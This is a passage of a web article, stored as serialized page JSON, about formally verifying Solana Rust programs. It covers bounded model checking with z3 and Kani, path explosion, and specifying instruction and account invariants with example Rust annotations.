",{"type":23,"tag":230,"props":21925,"children":21926},{"style":268},[21927],{"type":29,"value":10911},{"type":23,"tag":230,"props":21929,"children":21930},{"style":274},[21931],{"type":29,"value":21406},{"type":23,"tag":230,"props":21933,"children":21934},{"style":268},[21935],{"type":29,"value":6719},{"type":23,"tag":230,"props":21937,"children":21938},{"style":5149},[21939],{"type":29,"value":21415},{"type":23,"tag":230,"props":21941,"children":21942},{"style":274},[21943],{"type":29,"value":4516},{"type":23,"tag":230,"props":21945,"children":21946},{"class":232,"line":453},[21947,21951,21955,21959],{"type":23,"tag":230,"props":21948,"children":21949},{"style":274},[21950],{"type":29,"value":21923},{"type":23,"tag":230,"props":21952,"children":21953},{"style":268},[21954],{"type":29,"value":12792},{"type":23,"tag":230,"props":21956,"children":21957},{"style":5149},[21958],{"type":29,"value":21452},{"type":23,"tag":230,"props":21960,"children":21961},{"style":274},[21962],{"type":29,"value":4516},{"type":23,"tag":230,"props":21964,"children":21965},{"class":232,"line":462},[21966,21971,21975,21979,21983,21987],{"type":23,"tag":230,"props":21967,"children":21968},{"style":274},[21969],{"type":29,"value":21970},"s.add(z ",{"type":23,"tag":230,"props":21972,"children":21973},{"style":268},[21974],{"type":29,"value":10911},{"type":23,"tag":230,"props":21976,"children":21977},{"style":274},[21978],{"type":29,"value":6852},{"type":23,"tag":230,"props":21980,"children":21981},{"style":268},[21982],{"type":29,"value":6909},{"type":23,"tag":230,"props":21984,"children":21985},{"style":5149},[21986],{"type":29,"value":10269},{"type":23,"tag":230,"props":21988,"children":21989},{"style":274},[21990],{"type":29,"value":4516},{"type":23,"tag":230,"props":21992,"children":21993},{"class":232,"line":471},[21994],{"type":23,"tag":230,"props":21995,"children":21996},{"emptyLinePlaceholder":18},[21997],{"type":29,"value":459},{"type":23,"tag":230,"props":21999,"children":22000},{"class":232,"line":500},[22001],{"type":23,"tag":230,"props":22002,"children":22003},{"style":237},[22004],{"type":29,"value":22005},"# check if we can violate the correctness property\n",{"type":23,"tag":230,"props":22007,"children":22008},{"class":232,"line":514},[22009,22014,22018,22022],{"type":23,"tag":230,"props":22010,"children":22011},{"style":274},[22012],{"type":29,"value":22013},"s.add(Not(z ",{"type":23,"tag":230,"props":22015,"children":22016},{"style":268},[22017],{"type":29,"value":18013},{"type":23,"tag":230,"props":22019,"children":22020},{"style":5149},[22021],{"type":29,"value":21570},{"type":23,"tag":230,"props":22023,"children":22024},{"style":274},[22025],{"type":29,"value":22026},"))\n",{"type":23,"tag":230,"props":22028,"children":22029},{"class":232,"line":897},[22030,22035,22040],{"type":23,"tag":230,"props":22031,"children":22032},{"style":294},[22033],{"type":29,"value":22034},"print",{"type":23,"tag":230,"props":22036,"children":22037},{"style":274},[22038],{"type":29,"value":22039},"(s.check()) ",{"type":23,"tag":230,"props":22041,"children":22042},{"style":237},[22043],{"type":29,"value":22044},"# \"unsat\"\n",{"type":23,"tag":230,"props":22046,"children":22047},{"class":232,"line":960},[22048],{"type":23,"tag":230,"props":22049,"children":22050},{"emptyLinePlaceholder":18},[22051],{"type":29,"value":459},{"type":23,"tag":230,"props":22053,"children":22054},{"class":232,"line":969},[22055],{"type":23,"tag":230,"props":22056,"children":22057},{"style":237},[22058],{"type":29,"value":22059},"# Negative branch:\n",{"type":23,"tag":230,"props":22061,"children":22062},{"class":232,"line":4526},[22063,22067,22071],{"type":23,"tag":230,"props":22064,"children":22065},{"style":274},[22066],{"type":29,"value":21906},{"type":23,"tag":230,"props":22068,"children":22069},{"style":268},[22070],{"type":29,"value":863},{"type":23,"tag":230,"props":22072,"children":22073},{"style":274},[22074],{"type":29,"value":21915},{"type":23,"tag":230,"props":22076,"children":22077},{"class":232,"line":4534},[22078,22082,22086,22090,22094,22098],{"type":23,"tag":230,"props":22079,"children":22080},{"style":274},[22081],{"type":29,"value":21923},{"type":23,"tag":230,"props":22083,"children":22084},{"style":268},[22085],{"type":29,"value":10911},{"type":23,"tag":230,"props":22087,"children":22088},{"style":274},[22089],{"type":29,"value":21406},{"type":23,"tag":230,"props":22091,"children":22092},{"style":268},[22093],{"type":29,"value":6719},{"type":23,"tag":230,"props":22095,"children":22096},{"style":5149},[22097],{"type":29,"value":21415},{"type":23,"tag":230,"props":22099,"children":22100},{"style":274},[22101],{"type":29,"value":4516},{"type":23,"tag":230,"props":22103,"children":22104},{"class":232,"line":4542},[22105,22109,22113,22117],{"type":23,"tag":230,"props":22106,"children":22107},{"style":274},[22108],{"type":29,"value":21923},{"type":23,"tag":230,"props":22110,"children":22111},{"style":268},[22112],{"type":29,"value":21730},{"type":23,"tag":230,"props":22114,"children":22115},{"style":5149},[22116],{"type":29,"value":21452},{"type":23,"tag":230,"props":22118,"children":22119},{"style":274},[22120],{"type":29,"value":4516},{"type":23,"tag":230,"props":22122,"children":22123},{"class":232,"line":4559},[22124,22128,22132,22136,22140,22144],{"type":23,"tag":230,"props":22125,"children":22126},{"style":274},[22127],{"type":29,"value":21970},{"type":23,"tag":230,"props":22129,"children":22130},{"style":268},[22131],{"type":29,"value":10911},{"type":23,"tag":230,"props":22133,"children":22134},{"style":274},[22135],{"type":29,"value":6852},{"type":23,"tag":230,"props":22137,"children":22138},{"style":268},[22139],{"type":29,"value":6719},{"type":23,"tag":230,"props":22141,"children":22142},{"style":5149},[22143],{"type":29,"value":6861},{"type":23,"tag":230,"props":22145,"children":22146},{"style":274},[22147],{"type":29,"value":4516},{"type":23,"tag":230,"props":22149,"children":22150},{"class":232,"line":4587},[22151],{"type":23,"tag":230,"props":22152,"children":22153},{"emptyLinePlaceholder":18},[22154],{"type":29,"value":459},{"type":23,"tag":230,"props":22156,"children":22157},{"class":232,"line":4595},[22158],{"type":23,"tag":230,"props":22159,"children":22160},{"style":237},[22161],{"type":29,"value":22005},{"type":23,"tag":230,"props":22163,"children":22164},{"class":232,"line":4619},[22165,22169,22173,22177],{"type":23,"tag":230,"props":22166,"children":22167},{"style":274},[22168],{"type":29,"value":22013},{"type":23,"tag":230,"props":22170,"children":22171},{"style":268},[22172],{"type":29,"value":18013},{"type":23,"tag":230,"props":22174,"children":22175},{"style":5149},[22176],{"type":29,"value":21570},{"type":23,"tag":230,"props":22178,"children":22179},{"style":274},[22180],{"type":29,"value":22026},{"type":23,"tag":230,"props":22182,"children":22183},{"class":232,"line":4627},[22184,22188,22192],{"type":23,"tag":230,"props":22185,"children":22186},{"style":294},[22187],{"type":29,"value":22034},{"type":23,"tag":230,"props":22189,"children":22190},{"style":274},[22191],{"type":29,"value":22039},{"type":23,"tag":230,"props":22193,"children":22194},{"style":237},[22195],{"type":29,"value":22044},{"type":23,"tag":32,"props":22197,"children":22198},{},[22199,22201,22207,22209,22214],{"type":29,"value":22200},"Both of these cases return ",{"type":23,"tag":71,"props":22202,"children":22204},{"className":22203},[],[22205],{"type":29,"value":22206},"unsat",{"type":29,"value":22208}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":2258,"props":22210,"children":22211},{},[22212],{"type":29,"value":22213},"correct",{"type":29,"value":22215}," according to this property.",{"type":23,"tag":59,"props":22217,"children":22219},{"id":22218},"loop-bounds-path-explosion",[22220],{"type":29,"value":22221},"Loop bounds & path explosion",{"type":23,"tag":32,"props":22223,"children":22224},{},[22225,22227,22232,22234,22239],{"type":29,"value":22226},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":2258,"props":22228,"children":22229},{},[22230],{"type":29,"value":22231},"every",{"type":29,"value":22233}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":2258,"props":22235,"children":22236},{},[22237],{"type":29,"value":22238},"infinite",{"type":29,"value":22240}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":32,"props":22242,"children":22243},{},[22244],{"type":29,"value":22245},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":32,"props":22247,"children":22248},{},[22249],{"type":29,"value":22250},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":32,"props":22252,"children":22253},{},[22254],{"type":29,"value":22255},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":59,"props":22257,"children":22259},{"id":22258},"kani-model-checker",[22260],{"type":29,"value":22261},"Kani Model Checker",{"type":23,"tag":32,"props":22263,"children":22264},{},[22265,22267,22272],{"type":29,"value":22266},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":181,"props":22268,"children":22270},{"href":21167,"rel":22269},[185],[22271],{"type":29,"value":21171},{"type":29,"value":22273},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":32,"props":22275,"children":22276},{},[22277,22279,22284,22286,22292,22293,22299,22301,22307],{"type":29,"value":22278},"Kani allows you to write ",{"type":23,"tag":2258,"props":22280,"children":22281},{},[22282],{"type":29,"value":22283},"proof harnesses",{"type":29,"value":22285}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":71,"props":22287,"children":22289},{"className":22288},[],[22290],{"type":29,"value":22291},"assume",{"type":29,"value":112},{"type":23,"tag":71,"props":22294,"children":22296},{"className":22295},[],[22297],{"type":29,"value":22298},"assert",{"type":29,"value":22300}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":71,"props":22302,"children":22304},{"className":22303},[],[22305],{"type":29,"value":22306},"cargo kani",{"type":29,"value":22308}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":24,"props":22310,"children":22312},{"id":22311},"specification-how-can-we-describe-what-we-want-our-program-to-do",[22313,22315,22319],{"type":29,"value":22314},"Specification: How can we describe what we ",{"type":23,"tag":2258,"props":22316,"children":22317},{},[22318],{"type":29,"value":21240},{"type":29,"value":21242},{"type":23,"tag":32,"props":22321,"children":22322},{},[22323],{"type":23,"tag":2258,"props":22324,"children":22325},{},[22326],{"type":23,"tag":2302,"props":22327,"children":22328},{},[22329],{"type":29,"value":22330},"And what even do we want it to do?",{"type":23,"tag":32,"props":22332,"children":22333},{},[22334,22336,22341],{"type":29,"value":22335},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":2258,"props":22337,"children":22338},{},[22339],{"type":29,"value":22340},"specifying",{"type":29,"value":22342}," what the \"correct\" behavior should be.",{"type":23,"tag":32,"props":22344,"children":22345},{},[22346],{"type":29,"value":22347},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":98,"props":22349,"children":22350},{},[22351,22363,22375],{"type":23,"tag":102,"props":22352,"children":22353},{},[22354,22356,22361],{"type":29,"value":22355},"\"It should not be possible to ",{"type":23,"tag":2302,"props":22357,"children":22358},{},[22359],{"type":29,"value":22360},"steal money",{"type":29,"value":22362}," via a swap program\"",{"type":23,"tag":102,"props":22364,"children":22365},{},[22366,22368,22373],{"type":29,"value":22367},"\"A multisig should never get into a state where you ",{"type":23,"tag":2302,"props":22369,"children":22370},{},[22371],{"type":29,"value":22372},"can't sign anything",{"type":29,"value":22374},"\"",{"type":23,"tag":102,"props":22376,"children":22377},{},[22378],{"type":29,"value":22379},"\"User funds in a staking protocol \"",{"type":23,"tag":32,"props":22381,"children":22382},{},[22383,22385,22395,22397,22402],{"type":29,"value":22384},"These are types of properties you can tell your ",{"type":23,"tag":181,"props":22386,"children":22389},{"href":22387,"rel":22388},"https://osec.io/",[185],[22390],{"type":23,"tag":2258,"props":22391,"children":22392},{},[22393],{"type":29,"value":22394},"human auditors",{"type":29,"value":22396}," but these English phrases are not particularly useful for ",{"type":23,"tag":2258,"props":22398,"children":22399},{},[22400],{"type":29,"value":22401},"automated verification techniques",{"type":29,"value":22403}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":32,"props":22405,"children":22406},{},[22407,22409,22414,22416,22421],{"type":29,"value":22408},"Instead, we need to be able to specify ",{"type":23,"tag":2258,"props":22410,"children":22411},{},[22412],{"type":29,"value":22413},"in code",{"type":29,"value":22415}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":71,"props":22417,"children":22419},{"className":22418},[],[22420],{"type":29,"value":22298},{"type":29,"value":22422}," statement.",{"type":23,"tag":59,"props":22424,"children":22426},{"id":22425},"solana-invariants",[22427],{"type":29,"value":22428},"Solana Invariants",{"type":23,"tag":32,"props":22430,"children":22431},{},[22432,22434,22439,22440,22445],{"type":29,"value":22433},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":2302,"props":22435,"children":22436},{},[22437],{"type":29,"value":22438},"instruction invariants",{"type":29,"value":112},{"type":23,"tag":2302,"props":22441,"children":22442},{},[22443],{"type":29,"value":22444},"account invariants",{"type":29,"value":312},{"type":23,"tag":192,"props":22447,"children":22449},{"id":22448},"instruction-invariant",[22450],{"type":29,"value":22451},"Instruction Invariant",{"type":23,"tag":32,"props":22453,"children":22454},{},[22455,22457,22462,22464,22470,22471,22477],{"type":29,"value":22456},"An ",{"type":23,"tag":2302,"props":22458,"children":22459},{},[22460],{"type":29,"value":22461},"instruction invariant",{"type":29,"value":22463}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":71,"props":22465,"children":22467},{"className":22466},[],[22468],{"type":29,"value":22469},"succeeds_if",{"type":29,"value":2769},{"type":23,"tag":71,"props":22472,"children":22474},{"className":22473},[],[22475],{"type":29,"value":22476},"errors_if",{"type":29,"value":22478}," macro annotations on the instruction handler.",{"type":23,"tag":32,"props":22480,"children":22481},{},[22482],{"type":29,"value":22483},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":32,"props":22485,"children":22486},{},[22487,22489,22495,22497,22502],{"type":29,"value":22488},"For example, say we have a ",{"type":23,"tag":71,"props":22490,"children":22492},{"className":22491},[],[22493],{"type":29,"value":22494},"Withdraw",{"type":29,"value":22496}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":2258,"props":22498,"children":22499},{},[22500],{"type":29,"value":22501},"more",{"type":29,"value":22503}," tokens than their current balance.",{"type":23,"tag":32,"props":22505,"children":22506},{},[22507,22509,22514],{"type":29,"value":22508},"Using our tool, you could specify the following ",{"type":23,"tag":71,"props":22510,"children":22512},{"className":22511},[],[22513],{"type":29,"value":22476},{"type":29,"value":22515}," property on your instruction handler:",{"type":23,"tag":220,"props":22517,"children":22519},{"code":22518,"language":5319,"meta":7,"className":5320,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[22520],{"type":23,"tag":71,"props":22521,"children":22522},{"__ignoreMap":7},[22523,22531,22566,22574,22647,22655],{"type":23,"tag":230,"props":22524,"children":22525},{"class":232,"line":233},[22526],{"type":23,"tag":230,"props":22527,"children":22528},{"style":274},[22529],{"type":29,"value":22530},"#[errors_if(\n",{"type":23,"tag":230,"props":22532,"children":22533},{"class":232,"line":243},[22534,22539,22543,22548,22552,22557,22561],{"type":23,"tag":230,"props":22535,"children":22536},{"style":274},[22537],{"type":29,"value":22538},"    ctx",{"type":23,"tag":230,"props":22540,"children":22541},{"style":268},[22542],{"type":29,"value":312},{"type":23,"tag":230,"props":22544,"children":22545},{"style":274},[22546],{"type":29,"value":22547},"user",{"type":23,"tag":230,"props":22549,"children":22550},{"style":268},[22551],{"type":29,"value":312},{"type":23,"tag":230,"props":22553,"children":22554},{"style":274},[22555],{"type":29,"value":22556},"balance ",{"type":23,"tag":230,"props":22558,"children":22559},{"style":268},[22560],{"type":29,"value":8143},{"type":23,"tag":230,"props":22562,"children":22563},{"style":274},[22564],{"type":29,"value":22565}," amount\n",{"type":23,"tag":230,"props":22567,"children":22568},{"class":232,"line":252},[22569],{"type":23,"tag":230,"props":22570,"children":22571},{"style":274},[22572],{"type":29,"value":22573},")]\n",{"type":23,"tag":230,"props":22575,"children":22576},{"class":232,"line":280},[22577,22582,22587,22591,22596,22600,22605,22609,22613,22617,22622,22626,22630,22634,22638,22642],{"type":23,"tag":230,"props":22578,"children":22579},{"style":256},[22580],{"type":29,"value":22581},"fn",{"type":23,"tag":230,"props":22583,"children":22584},{"style":294},[22585],{"type":29,"value":22586}," withdraw",{"type":23,"tag":230,"props":22588,"children":22589},{"style":274},[22590],{"type":29,"value":302},{"type":23,"tag":230,"props":22592,"children":22593},{"style":262},[22594],{"type":29,"value":22595},"ctx",{"type":23,"tag":230,"props":22597,"children":22598},{"style":268},[22599],{"type":29,"value":218},{"type":23,"tag":230,"props":22601,"children":22602},{"style":676},[22603],{"type":29,"value":22604}," Context",{"type":23,"tag":230,"props":22606,"children":22607},{"style":274},[22608],{"type":29,"value":8143},{"type":23,"tag":230,"props":22610,"children":22611},{"style":676},[22612],{"type":29,"value":22494},{"type":23,"tag":230,"props":22614,"children":22615},{"style":274},[22616],{"type":29,"value":8967},{"type":23,"tag":230,"props":22618,"children":22619},{"style":262},[22620],{"type":29,"value":22621},"amount",{"type":23,"tag":230,"props":22623,"children":22624},{"style":268},[22625],{"type":29,"value":218},{"type":23,"tag":230,"props":22627,"children":22628},{"style":676},[22629],{"type":29,"value":8197},{"type":23,"tag":230,"props":22631,"children":22632},{"style":274},[22633],{"type":29,"value":703},{"type":23,"tag":230,"props":22635,"children":22636},{"style":268},[22637],{"type":29,"value":16084},{"type":23,"tag":230,"props":22639,"children":22640},{"style":676},[22641],{"type":29,"value":16089},{"type":23,"tag":230,"props":22643,"children":22644},{"style":274},[22645],{"type":29,"value":22646},"\u003C()> {\n",{"type":23,"tag":230,"props":22648,"children":22649},{"class":232,"line":334},[22650],{"type":23,"tag":230,"props":22651,"children":22652},{"style":268},[22653],{"type":29,"value":22654},"    ...\n",{"type":23,"tag":230,"props":22656,"children":22657},{"class":232,"line":371},[22658],{"type":23,"tag":230,"props":22659,"children":22660},{"style":274},[22661],{"type":29,"value":975},{"type":23,"tag":5272,"props":22663,"children":22664},{},[22665],{"type":23,"tag":32,"props":22666,"children":22667},{},[22668,22669,22674,22676,22681,22683,22688],{"type":29,"value":980},{"type":23,"tag":71,"props":22670,"children":22672},{"className":22671},[],[22673],{"type":29,"value":22476},{"type":29,"value":22675}," expression specifies ",{"type":23,"tag":2258,"props":22677,"children":22678},{},[22679],{"type":29,"value":22680},"succifient",{"type":29,"value":22682}," but not ",{"type":23,"tag":2258,"props":22684,"children":22685},{},[22686],{"type":29,"value":22687},"necessary",{"type":29,"value":22689}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":21113,"props":22691,"children":22692},{},[],{"type":23,"tag":32,"props":22694,"children":22695},{},[22696,22698,22703],{"type":29,"value":22697},"Another example is that for ",{"type":23,"tag":2258,"props":22699,"children":22700},{},[22701],{"type":29,"value":22702},"crank",{"type":29,"value":22704}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":220,"props":22706,"children":22708},{"code":22707,"language":5319,"meta":7,"className":5320,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[22709],{"type":23,"tag":71,"props":22710,"children":22711},{"__ignoreMap":7},[22712,22720,22774,22781],{"type":23,"tag":230,"props":22713,"children":22714},{"class":232,"line":233},[22715],{"type":23,"tag":230,"props":22716,"children":22717},{"style":274},[22718],{"type":29,"value":22719},"#[succeeds_if(true)]\n",{"type":23,"tag":230,"props":22721,"children":22722},{"class":232,"line":243},[22723,22727,22732,22736,22740,22744,22748,22752,22757,22762,22766,22770],{"type":23,"tag":230,"props":22724,"children":22725},{"style":256},[22726],{"type":29,"value":22581},{"type":23,"tag":230,"props":22728,"children":22729},{"style":294},[22730],{"type":29,"value":22731}," my_crank",{"type":23,"tag":230,"props":22733,"children":22734},{"style":274},[22735],{"type":29,"value":302},{"type":23,"tag":230,"props":22737,"children":22738},{"style":262},[22739],{"type":29,"value":22595},{"type":23,"tag":230,"props":22741,"children":22742},{"style":268},[22743],{"type":29,"value":218},{"type":23,"tag":230,"props":22745,"children":22746},{"style":676},[22747],{"type":29,"value":22604},{"type":23,"tag":230,"props":22749,"children":22750},{"style":274},[22751],{"type":29,"value":8143},{"type":23,"tag":230,"props":22753,"children":22754},{"style":676},[22755],{"type":29,"value":22756},"Crank",{"type":23,"tag":230,"props":22758,"children":22759},{"style":274},[22760],{"type":29,"value":22761},">) ",{"type":23,"tag":230,"props":22763,"children":22764},{"style":268},[22765],{"type":29,"value":16084},{"type":23,"tag":230,"props":22767,"children":22768},{"style":676},[22769],{"type":29,"value":16089},{"type":23,"tag":230,"props":22771,"children":22772},{"style":274},[22773],{"type":29,"value":22646},{"type":23,"tag":230,"props":22775,"children":22776},{"class":232,"line":252},[22777],{"type":23,"tag":230,"props":22778,"children":22779},{"style":268},[22780],{"type":29,"value":22654},{"type":23,"tag":230,"props":22782,"children":22783},{"class":232,"line":280},[22784],{"type":23,"tag":230,"props":22785,"children":22786},{"style":274},[22787],{"type":29,"value":975},{"type":23,"tag":32,"props":22789,"children":22790},{},[22791,22793,22797,22799,22805],{"type":29,"value":22792},"With this invariant, you could prove that the function ",{"type":23,"tag":2258,"props":22794,"children":22795},{},[22796],{"type":29,"value":15423},{"type":29,"value":22798}," returns ",{"type":23,"tag":71,"props":22800,"children":22802},{"className":22801},[],[22803],{"type":29,"value":22804},"Ok",{"type":29,"value":22806},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":21113,"props":22808,"children":22809},{},[],{"type":23,"tag":32,"props":22811,"children":22812},{},[22813,22815,22820,22821,22826,22828,22833,22835,22840,22842,22847],{"type":29,"value":22814},"Note that ",{"type":23,"tag":71,"props":22816,"children":22818},{"className":22817},[],[22819],{"type":29,"value":22469},{"type":29,"value":112},{"type":23,"tag":71,"props":22822,"children":22824},{"className":22823},[],[22825],{"type":29,"value":22476},{"type":29,"value":22827}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":71,"props":22829,"children":22831},{"className":22830},[],[22832],{"type":29,"value":22469},{"type":29,"value":22834}," is not satisfied and a function may fail even if ",{"type":23,"tag":71,"props":22836,"children":22838},{"className":22837},[],[22839],{"type":29,"value":22476},{"type":29,"value":22841}," is not satisfied. If you want to prove the ",{"type":23,"tag":2258,"props":22843,"children":22844},{},[22845],{"type":29,"value":22846},"exact condition",{"type":29,"value":22848}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":220,"props":22850,"children":22852},{"code":22851,"language":5319,"meta":7,"className":5320,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[22853],{"type":23,"tag":71,"props":22854,"children":22855},{"__ignoreMap":7},[22856,22900,22907,22924,22950,23002,23009],{"type":23,"tag":230,"props":22857,"children":22858},{"class":232,"line":233},[22859,22863,22868,22872,22876,22880,22884,22888,22892,22896],{"type":23,"tag":230,"props":22860,"children":22861},{"style":256},[22862],{"type":29,"value":22581},{"type":23,"tag":230,"props":22864,"children":22865},{"style":294},[22866],{"type":29,"value":22867}," my_invariant",{"type":23,"tag":230,"props":22869,"children":22870},{"style":274},[22871],{"type":29,"value":302},{"type":23,"tag":230,"props":22873,"children":22874},{"style":268},[22875],{"type":29,"value":11922},{"type":23,"tag":230,"props":22877,"children":22878},{"style":274},[22879],{"type":29,"value":703},{"type":23,"tag":230,"props":22881,"children":22882},{"style":268},[22883],{"type":29,"value":16084},{"type":23,"tag":230,"props":22885,"children":22886},{"style":676},[22887],{"type":29,"value":14381},{"type":23,"tag":230,"props":22889,"children":22890},{"style":274},[22891],{"type":29,"value":848},{"type":23,"tag":230,"props":22893,"children":22894},{"style":268},[22895],{"type":29,"value":11922},{"type":23,"tag":230,"props":22897,"children":22898},{"style":274},[22899],{"type":29,"value":11927},{"type":23,"tag":230,"props":22901,"children":22902},{"class":232,"line":243},[22903],{"type":23,"tag":230,"props":22904,"children":22905},{"emptyLinePlaceholder":18},[22906],{"type":29,"value":459},{"type":23,"tag":230,"props":22908,"children":22909},{"class":232,"line":252},[22910,22915,22919],{"type":23,"tag":230,"props":22911,"children":22912},{"style":274},[22913],{"type":29,"value":22914},"#[succeeds_if(my_invariant(",{"type":23,"tag":230,"props":22916,"children":22917},{"style":268},[22918],{"type":29,"value":11922},{"type":23,"tag":230,"props":22920,"children":22921},{"style":274},[22922],{"type":29,"value":22923},"))]\n",{"type":23,"tag":230,"props":22925,"children":22926},{"class":232,"line":280},[22927,22932,22937,22942,22946],{"type":23,"tag":230,"props":22928,"children":22929},{"style":274},[22930],{"type":29,"value":22931},"#[errors_if(",{"type":23,"tag":230,"props":22933,"children":22934},{"style":268},[22935],{"type":29,"value":22936},"!",{"type":23,"tag":230,"props":22938,"children":22939},{"style":274},[22940],{"type":29,"value":22941},"my_invariant(",{"type":23,"tag":230,"props":22943,"children":22944},{"style":268},[22945],{"type":29,"value":11922},{"type":23,"tag":230,"props":22947,"children":22948},{"style":274},[22949],{"type":29,"value":22923},{"type":23,"tag":230,"props":22951,"children":22952},{"class":232,"line":334},[22953,22957,22962,22966,22970,22974,22978,22982,22986,22990,22994,22998],{"type":23,"tag":230,"props":22954,"children":22955},{"style":256},[22956],{"type":29,"value":22581},{"type":23,"tag":230,"props":22958,"children":22959},{"style":294},[22960],{"type":29,"value":22961}," my_instruction",{"type":23,"tag":230,"props":22963,"children":22964},{"style":274},[22965],{"type":29,"value":302},{"type":23,"tag":230,"props":22967,"children":22968},{"style":262},[22969],{"type":29,"value":22595},{"type":23,"tag":230,"props":22971,"children":22972},{"style":268},[22973],{"type":29,"value":218},{"type":23,"tag":230,"props":22975,"children":22976},{"style":676},[22977],{"type":29,"value":22604},{"type":23,"tag":230,"props":22979,"children":22980},{"style":274},[22981],{"type":29,"value":8143},{"type":23,"tag":230,"props":22983,"children":22984},{"style":268},[22985],{"type":29,"value":11922},{"type":23,"tag":230,"props":22987,"children":22988},{"style":274},[22989],{"type":29,"value":22761},{"type":23,"tag":230,"props":22991,"children":22992},{"style":268},[22993],{"type":29,"value":16084},{"type":23,"tag":230,"props":22995,"children":22996},{"style":676},[22997],{"type":29,"value":16089},{"type":23,"tag":230,"props":22999,"children":23000},{"style":274},[23001],{"type":29,"value":22646},{"type":23,"tag":230,"props":23003,"children":23004},{"class":232,"line":371},[23005],{"type":23,"tag":230,"props":23006,"children":23007},{"style":268},[23008],{"type":29,"value":22654},{"type":23,"tag":230,"props":23010,"children":23011},{"class":232,"line":391},[23012],{"type":23,"tag":230,"props":23013,"children":23014},{"style":274},[23015],{"type":29,"value":975},{"type":23,"tag":32,"props":23017,"children":23018},{},[23019],{"type":29,"value":23020},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":192,"props":23022,"children":23024},{"id":23023},"account-invariants",[23025],{"type":29,"value":23026},"Account Invariants",{"type":23,"tag":32,"props":23028,"children":23029},{},[23030,23032,23037],{"type":29,"value":23031},"The other type of invariant is an ",{"type":23,"tag":2302,"props":23033,"children":23034},{},[23035],{"type":29,"value":23036},"Account Invariant",{"type":29,"value":23038},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":32,"props":23040,"children":23041},{},[23042,23044,23049,23050,23056],{"type":29,"value":23043},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":71,"props":23045,"children":23047},{"className":23046},[],[23048],{"type":29,"value":6059},{"type":29,"value":2769},{"type":23,"tag":71,"props":23051,"children":23053},{"className":23052},[],[23054],{"type":29,"value":23055},"init",{"type":29,"value":23057},").",{"type":23,"tag":32,"props":23059,"children":23060},{},[23061,23063,23069],{"type":29,"value":23062},"For example, given a mock ",{"type":23,"tag":71,"props":23064,"children":23066},{"className":23065},[],[23067],{"type":29,"value":23068},"UserStatement",{"type":29,"value":23070}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":220,"props":23072,"children":23074},{"code":23073,"language":5319,"meta":7,"className":5320,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[23075],{"type":23,"tag":71,"props":23076,"children":23077},{"__ignoreMap":7},[23078,23086,23094,23128,23135,23151,23177,23201,23225],{"type":23,"tag":230,"props":23079,"children":23080},{"class":232,"line":233},[23081],{"type":23,"tag":230,"props":23082,"children":23083},{"style":274},[23084],{"type":29,"value":23085},"#[account]\n",{"type":23,"tag":230,"props":23087,"children":23088},{"class":232,"line":243},[23089],{"type":23,"tag":230,"props":23090,"children":23091},{"style":274},[23092],{"type":29,"value":23093},"#[invariant(\n",{"type":23,"tag":230,"props":23095,"children":23096},{"class":232,"line":252},[23097,23102,23106,23111,23115,23119,23123],{"type":23,"tag":230,"props":23098,"children":23099},{"style":274},[23100],{"type":29,"value":23101},"    self",{"type":23,"tag":230,"props":23103,"children":23104},{"style":268},[23105],{"type":29,"value":312},{"type":23,"tag":230,"props":23107,"children":23108},{"style":274},[23109],{"type":29,"value":23110},"assets 